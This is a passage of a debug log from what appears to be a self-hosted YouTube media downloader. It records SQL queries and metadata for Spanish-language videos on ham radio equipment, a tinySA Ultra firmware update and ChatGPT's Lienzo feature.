producto: https://tinysa.org\n\n-------- Contenido del video --------\n00:00 - Presentación.\n00:48 - Intro canal\n01:05 - Version actual\n02:20 - Descargando el firmware\n05:19 - Descargando utilidades\n07:57 - Instalar driver STM32\n13:49 - Actualizando\n14:51 - Calibracion\n\n#tinySAULTRA #hamradio #radioaficionados #calibracion #tinysa #analizadorespectro #generadorseñales #diyelectronics \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "100 - ACTUALIZANDO FIRMWARE TINYSA ULTRA Y CALIBRACION", 1147, false, "LeH6O6guFFU", "https://www.youtube.com/watch?v=LeH6O6guFFU", "/downloads/music/ea3grn/100 - ACTUALIZANDO FIRMWARE TINYSA ULTRA Y CALIBRACION.m4a", false, 3, ~U[2023-02-23 16:00:19Z]] 23:06:22.597 [debug] QUERY OK source="sources" db=0.4ms idle=485.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:06:22.598 [debug] QUERY OK source="media_profiles" db=0.6ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:06:22.599 [debug] QUERY OK source="media_items" db=0.4ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1468] 23:06:22.599 [debug] Current batch of media processed. Will check again in 1000ms 23:06:23.508 [debug] Current batch of media processed. Will check again in 1000ms 23:06:23.600 [debug] Current batch of media processed. Will check again in 1000ms 23:06:24.509 [debug] Current batch of media processed. Will check again in 1000ms 23:06:24.601 [debug] Current batch of media processed. Will check again in 1000ms 23:06:25.510 [debug] Current batch of media processed. Will check again in 1000ms 23:06:25.602 [debug] Current batch of media processed. Will check again in 1000ms 23:06:26.511 [debug] Current batch of media processed. Will check again in 1000ms 23:06:26.603 [debug] Current batch of media processed. Will check again in 1000ms 23:06:27.512 [debug] Current batch of media processed. Will check again in 1000ms 23:06:27.604 [debug] Current batch of media processed. Will check again in 1000ms 23:06:28.513 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 10: CHATGPT NUEVAS FUNCIONALIDADES: ¡Descubre Lienzo, la herramienta que **usamos** para escribir informes directamente! **Compartimos nuestra** experiencia y cómo su editor de texto integrado simplifica el proceso. ¡Expande, quita y ajusta tu texto fácilmente! #Lienzo #ChatGPT #Informes #Escritura #EditorDeTexto #Productividad #HerramientasDigitales #ExperienciaPersonal #FlujoDeTrabajo #Texto #Lienzo #ChatGPT #Informes #Escritura #EditorDeTexto #Productividad #HerramientasDigitales #ExperienciaPersonal #FlujoDeTrabajo #Texto", "duration" => 29, "filename" => "/downloads/music/IA mí QUÉ/¡Lienzo vs. ChatGPT! La herramienta secreta para informes perfectos.m4a", "id" => "mNQSIwp6ero", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/mNQSIwp6ero", "playlist_index" => 25, "timestamp" => 1746914071, "title" => "¡Lienzo vs. ChatGPT! La herramienta secreta para informes perfectos", "upload_date" => "20250510"} 23:06:28.514 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=727.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:06:28.515 [debug] QUERY OK source="sources" db=0.5ms idle=728.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:06:28.516 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=729.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-10 21:54:31Z], 2] 23:06:28.518 [debug] QUERY OK source="media_items" db=1.0ms idle=730.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 10: CHATGPT NUEVAS FUNCIONALIDADES: ¡Descubre Lienzo, la herramienta que **usamos** para escribir informes directamente! **Compartimos nuestra** experiencia y cómo su editor de texto integrado simplifica el proceso. ¡Expande, quita y ajusta tu texto fácilmente! #Lienzo #ChatGPT #Informes #Escritura #EditorDeTexto #Productividad #HerramientasDigitales #ExperienciaPersonal #FlujoDeTrabajo #Texto #Lienzo #ChatGPT #Informes #Escritura #EditorDeTexto #Productividad #HerramientasDigitales #ExperienciaPersonal #FlujoDeTrabajo #Texto", "¡Lienzo vs. ChatGPT! La herramienta secreta para informes perfectos", "2cfe812d-ccb0-42cd-b095-23052da745df", 29, false, "mNQSIwp6ero", "https://www.youtube.com/shorts/mNQSIwp6ero", 25, "/downloads/music/IA mí QUÉ/¡Lienzo vs. ChatGPT! La herramienta secreta para informes perfectos.m4a", false, false, true, 2, [], 96, ~U[2025-05-10 21:54:31Z], ~U[2026-02-07 22:06:28Z], ~U[2026-02-07 22:06:28Z], "PARTE 10: CHATGPT NUEVAS FUNCIONALIDADES: ¡Descubre Lienzo, la herramienta que **usamos** para escribir informes directamente! **Compartimos nuestra** experiencia y cómo su editor de texto integrado simplifica el proceso. ¡Expande, quita y ajusta tu texto fácilmente! #Lienzo #ChatGPT #Informes #Escritura #EditorDeTexto #Productividad #HerramientasDigitales #ExperienciaPersonal #FlujoDeTrabajo #Texto #Lienzo #ChatGPT #Informes #Escritura #EditorDeTexto #Productividad #HerramientasDigitales #ExperienciaPersonal #FlujoDeTrabajo #Texto", "¡Lienzo vs. ChatGPT! La herramienta secreta para informes perfectos", 29, false, "mNQSIwp6ero", "https://www.youtube.com/shorts/mNQSIwp6ero", "/downloads/music/IA mí QUÉ/¡Lienzo vs. ChatGPT! La herramienta secreta para informes perfectos.m4a", true, 2, ~U[2025-05-10 21:54:31Z]] 23:06:28.519 [debug] QUERY OK source="sources" db=0.5ms idle=395.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:06:28.519 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:06:28.520 [debug] QUERY OK source="media_items" db=0.5ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1409] 23:06:28.520 [debug] Current batch of media processed. Will check again in 1000ms 23:06:28.605 [debug] Current batch of media processed. Will check again in 1000ms 23:06:29.521 [debug] Current batch of media processed. Will check again in 1000ms 23:06:29.606 [debug] Current batch of media processed. Will check again in 1000ms 23:06:30.522 [debug] Current batch of media processed. Will check again in 1000ms 23:06:30.607 [debug] Current batch of media processed. Will check again in 1000ms 23:06:31.523 [debug] Current batch of media processed. Will check again in 1000ms 23:06:31.608 [debug] Current batch of media processed. Will check again in 1000ms 23:06:32.524 [debug] Current batch of media processed. Will check again in 1000ms 23:06:32.609 [debug] Current batch of media processed. Will check again in 1000ms 23:06:33.525 [debug] Current batch of media processed. Will check again in 1000ms 23:06:33.610 [debug] Current batch of media processed. Will check again in 1000ms 23:06:34.526 [debug] Current batch of media processed. Will check again in 1000ms 23:06:34.611 [debug] Current batch of media processed. Will check again in 1000ms 23:06:35.527 [debug] Current batch of media processed. Will check again in 1000ms 23:06:35.612 [debug] Current batch of media processed. Will check again in 1000ms 23:06:36.528 [debug] Current batch of media processed. Will check again in 1000ms 23:06:36.613 [debug] Current batch of media processed. Will check again in 1000ms 23:06:37.529 [debug] Current batch of media processed. Will check again in 1000ms 23:06:37.614 [debug] Current batch of media processed. Will check again in 1000ms 23:06:38.530 [debug] Current batch of media processed. Will check again in 1000ms 23:06:38.615 [debug] Current batch of media processed. Will check again in 1000ms 23:06:39.531 [debug] Current batch of media processed. Will check again in 1000ms 23:06:39.616 [debug] Current batch of media processed. Will check again in 1000ms 23:06:40.532 [debug] Current batch of media processed. Will check again in 1000ms 23:06:40.617 [debug] Current batch of media processed. Will check again in 1000ms 23:06:41.533 [debug] Current batch of media processed. Will check again in 1000ms 23:06:41.618 [debug] Current batch of media processed. Will check again in 1000ms 23:06:42.534 [debug] Current batch of media processed. Will check again in 1000ms 23:06:42.619 [debug] Current batch of media processed. Will check again in 1000ms 23:06:43.535 [debug] Current batch of media processed. Will check again in 1000ms 23:06:43.620 [debug] Current batch of media processed. Will check again in 1000ms 23:06:44.536 [debug] Current batch of media processed. Will check again in 1000ms 23:06:44.621 [debug] Current batch of media processed. Will check again in 1000ms 23:06:45.537 [debug] Current batch of media processed. Will check again in 1000ms 23:06:45.622 [debug] Current batch of media processed. Will check again in 1000ms 23:06:46.538 [debug] Current batch of media processed. Will check again in 1000ms 23:06:46.623 [debug] Current batch of media processed. Will check again in 1000ms 23:06:47.539 [debug] Current batch of media processed. Will check again in 1000ms 23:06:47.624 [debug] Current batch of media processed. Will check again in 1000ms 23:06:48.540 [debug] Current batch of media processed. Will check again in 1000ms 23:06:48.625 [debug] Current batch of media processed. Will check again in 1000ms 23:06:49.541 [debug] Current batch of media processed. Will check again in 1000ms 23:06:49.626 [debug] Current batch of media processed. Will check again in 1000ms 23:06:50.542 [debug] Current batch of media processed. Will check again in 1000ms 23:06:50.627 [debug] Current batch of media processed. Will check again in 1000ms 23:06:51.343 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:06:51.543 [debug] Current batch of media processed. Will check again in 1000ms 23:06:51.628 [debug] Current batch of media processed. Will check again in 1000ms 23:06:52.544 [debug] Current batch of media processed. Will check again in 1000ms 23:06:52.629 [debug] Current batch of media processed. Will check again in 1000ms 23:06:53.545 [debug] Current batch of media processed. Will check again in 1000ms 23:06:53.630 [debug] Current batch of media processed. Will check again in 1000ms 23:06:54.546 [debug] Current batch of media processed. Will check again in 1000ms 23:06:54.631 [debug] Current batch of media processed. Will check again in 1000ms 23:06:55.547 [debug] Current batch of media processed. Will check again in 1000ms 23:06:55.632 [debug] Current batch of media processed. Will check again in 1000ms 23:06:56.548 [debug] Current batch of media processed. Will check again in 1000ms 23:06:56.633 [debug] Current batch of media processed. Will check again in 1000ms 23:06:57.549 [debug] Current batch of media processed. Will check again in 1000ms 23:06:57.634 [debug] Current batch of media processed. Will check again in 1000ms 23:06:58.550 [debug] Current batch of media processed. Will check again in 1000ms 23:06:58.635 [debug] Current batch of media processed. Will check again in 1000ms 23:06:59.551 [debug] Current batch of media processed. Will check again in 1000ms 23:06:59.636 [debug] Current batch of media processed. Will check again in 1000ms 23:07:00.150 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:07:00.552 [debug] Current batch of media processed. Will check again in 1000ms 23:07:00.637 [debug] Current batch of media processed. Will check again in 1000ms 23:07:01.553 [debug] Current batch of media processed. Will check again in 1000ms 23:07:01.638 [debug] Current batch of media processed. Will check again in 1000ms 23:07:02.554 [debug] Current batch of media processed. Will check again in 1000ms 23:07:02.639 [debug] Current batch of media processed. Will check again in 1000ms 23:07:03.555 [debug] Current batch of media processed. Will check again in 1000ms 23:07:03.640 [debug] Current batch of media processed. Will check again in 1000ms 23:07:04.556 [debug] Current batch of media processed. Will check again in 1000ms 23:07:04.641 [debug] Current batch of media processed. Will check again in 1000ms 23:07:05.557 [debug] Current batch of media processed. Will check again in 1000ms 23:07:05.642 [debug] Current batch of media processed. Will check again in 1000ms 23:07:06.558 [debug] Current batch of media processed. Will check again in 1000ms 23:07:06.643 [debug] Current batch of media processed. Will check again in 1000ms 23:07:07.559 [debug] Current batch of media processed. Will check again in 1000ms 23:07:07.644 [debug] Current batch of media processed. Will check again in 1000ms 23:07:08.560 [debug] Current batch of media processed. Will check again in 1000ms 23:07:08.645 [debug] Current batch of media processed. Will check again in 1000ms 23:07:09.561 [debug] Current batch of media processed. Will check again in 1000ms 23:07:09.646 [debug] Current batch of media processed. Will check again in 1000ms 23:07:10.562 [debug] Current batch of media processed. Will check again in 1000ms 23:07:10.647 [debug] Current batch of media processed. Will check again in 1000ms 23:07:11.563 [debug] Current batch of media processed. Will check again in 1000ms 23:07:11.648 [debug] Current batch of media processed. Will check again in 1000ms 23:07:12.564 [debug] Current batch of media processed. Will check again in 1000ms 23:07:12.649 [debug] Current batch of media processed. Will check again in 1000ms 23:07:13.565 [debug] Current batch of media processed. Will check again in 1000ms 23:07:13.650 [debug] Current batch of media processed. Will check again in 1000ms 23:07:14.566 [debug] Current batch of media processed. Will check again in 1000ms 23:07:14.651 [debug] Current batch of media processed. Will check again in 1000ms 23:07:15.567 [debug] Current batch of media processed. Will check again in 1000ms 23:07:15.652 [debug] Current batch of media processed. Will check again in 1000ms 23:07:16.568 [debug] Current batch of media processed. Will check again in 1000ms 23:07:16.653 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "OJO A LOS COMENTARIOS: es posible hacer el montaje con un solo relé, leer los comentarios de algunos compañeros.\nOs muestro en este video el desarrollo de una idea: un sistema que nos permita alimentar equipos a baterias en caso de pérdida de corriente, y a la vez mantener una batería en un estado de carga ideal.\n\nEspero sea de vuestro interés.\n\n#emergencias #radioaficionados #baterias #carga #reles #diyelectronics #hamradio #emcom\n\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:00 - Intro Canal\n01:19 - Requisitos\n02:18 - Esquema\n11:03 - Cálculos\n16:50 - Placa circuito\n18:38 - Cambios al diseño\n20:31 - Prototipo\n24:38 - Test\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1865, "filename" => "/downloads/music/ea3grn/099 - ALIMENTACION EMERGENCIA EQUIPOS RADIOAFICIONADO.m4a", "id" => "xiGzPq3DV18", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xiGzPq3DV18", "playlist_index" => 82, "timestamp" => 1676566829, "title" => "099 - ALIMENTACION EMERGENCIA EQUIPOS RADIOAFICIONADO", "upload_date" => "20230216"} 23:07:16.654 [debug] QUERY OK source="sources" db=0.6ms idle=867.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:07:16.655 [debug] QUERY OK source="sources" db=0.5ms idle=868.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:07:16.656 [debug] QUERY OK source="media_items" db=0.7ms idle=868.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-16 17:00:29Z], 3] 23:07:16.658 [debug] QUERY OK source="media_items" db=1.4ms idle=869.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["OJO A LOS COMENTARIOS: es posible hacer el montaje con un solo relé, leer los comentarios de algunos compañeros.\nOs muestro en este video el desarrollo de una idea: un sistema que nos permita alimentar equipos a baterias en caso de pérdida de corriente, y a la vez mantener una batería en un estado de carga ideal.\n\nEspero sea de vuestro interés.\n\n#emergencias #radioaficionados #baterias #carga #reles #diyelectronics #hamradio #emcom\n\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:00 - Intro Canal\n01:19 - Requisitos\n02:18 - Esquema\n11:03 - Cálculos\n16:50 - Placa circuito\n18:38 - Cambios al diseño\n20:31 - Prototipo\n24:38 - Test\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "099 - ALIMENTACION EMERGENCIA EQUIPOS RADIOAFICIONADO", "152593be-d9fd-43cb-b0a2-7f1fc9471096", 1865, false, "xiGzPq3DV18", "https://www.youtube.com/watch?v=xiGzPq3DV18", 82, "/downloads/music/ea3grn/099 - ALIMENTACION EMERGENCIA EQUIPOS RADIOAFICIONADO.m4a", false, false, false, 3, [], 98, ~U[2023-02-16 17:00:29Z], ~U[2026-02-07 22:07:16Z], ~U[2026-02-07 22:07:16Z], "OJO A LOS COMENTARIOS: es posible hacer el montaje con un solo relé, leer los comentarios de algunos compañeros.\nOs muestro en este video el desarrollo de una idea: un sistema que nos permita alimentar equipos a baterias en caso de pérdida de corriente, y a la vez mantener una batería en un estado de carga ideal.\n\nEspero sea de vuestro interés.\n\n#emergencias #radioaficionados #baterias #carga #reles #diyelectronics #hamradio #emcom\n\n\n\n------------------- Contenido del video ------------------------------\n00:00 - Presentación\n01:00 - Intro Canal\n01:19 - Requisitos\n02:18 - Esquema\n11:03 - Cálculos\n16:50 - Placa circuito\n18:38 - Cambios al diseño\n20:31 - Prototipo\n24:38 - Test\n\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "099 - ALIMENTACION EMERGENCIA EQUIPOS RADIOAFICIONADO", 1865, false, "xiGzPq3DV18", "https://www.youtube.com/watch?v=xiGzPq3DV18", "/downloads/music/ea3grn/099 - ALIMENTACION EMERGENCIA EQUIPOS RADIOAFICIONADO.m4a", false, 3, ~U[2023-02-16 17:00:29Z]] 23:07:16.659 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=448.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:07:16.660 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:07:16.660 [debug] QUERY OK source="media_items" db=0.5ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1471] 23:07:16.661 [debug] Current batch of media processed. Will check again in 1000ms 23:07:17.569 [debug] Current batch of media processed. Will check again in 1000ms 23:07:17.661 [debug] Current batch of media processed. Will check again in 1000ms 23:07:18.570 [debug] Current batch of media processed. Will check again in 1000ms 23:07:18.662 [debug] Current batch of media processed. Will check again in 1000ms 23:07:19.571 [debug] Current batch of media processed. Will check again in 1000ms 23:07:19.663 [debug] Current batch of media processed. Will check again in 1000ms 23:07:20.572 [debug] Current batch of media processed. Will check again in 1000ms 23:07:20.664 [debug] Current batch of media processed. Will check again in 1000ms 23:07:21.345 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:07:21.573 [debug] Current batch of media processed. Will check again in 1000ms 23:07:21.665 [debug] Current batch of media processed. Will check again in 1000ms 23:07:22.574 [debug] Current batch of media processed. Will check again in 1000ms 23:07:22.666 [debug] Current batch of media processed. Will check again in 1000ms 23:07:23.575 [debug] Current batch of media processed. Will check again in 1000ms 23:07:23.667 [debug] Current batch of media processed. Will check again in 1000ms 23:07:24.576 [debug] Current batch of media processed. Will check again in 1000ms 23:07:24.668 [debug] Current batch of media processed. Will check again in 1000ms 23:07:25.577 [debug] Current batch of media processed. Will check again in 1000ms 23:07:25.669 [debug] Current batch of media processed. Will check again in 1000ms 23:07:26.578 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 9: CHATGPT NUEVAS FUNCIONALIDADES: Descubre cómo Lienzo revoluciona ChatGPT permitiendo a los usuarios modificar respuestas directamente. Edita, añade contenido y personaliza como nunca antes. ¡Transforma tu experiencia con ChatGPT ahora! #ChatGPT #Lienzo #IA #InteligenciaArtificial #EdicionDeTexto #Productividad #Innovacion #HerramientasDigitales #Personalizacion #Automatizacion", "duration" => 33, "filename" => "/downloads/music/IA mí QUÉ/¡Edita ChatGPT como un PRO con Lienzo! 🎨✨ Respuestas PERFECTAS.m4a", "id" => "Zpev9BnOLeY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Zpev9BnOLeY", "playlist_index" => 26, "timestamp" => 1746907468, "title" => "¡Edita ChatGPT como un PRO con Lienzo! 🎨✨ Respuestas PERFECTAS", "upload_date" => "20250510"} 23:07:26.579 [debug] QUERY OK source="sources" db=0.6ms idle=1350.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", 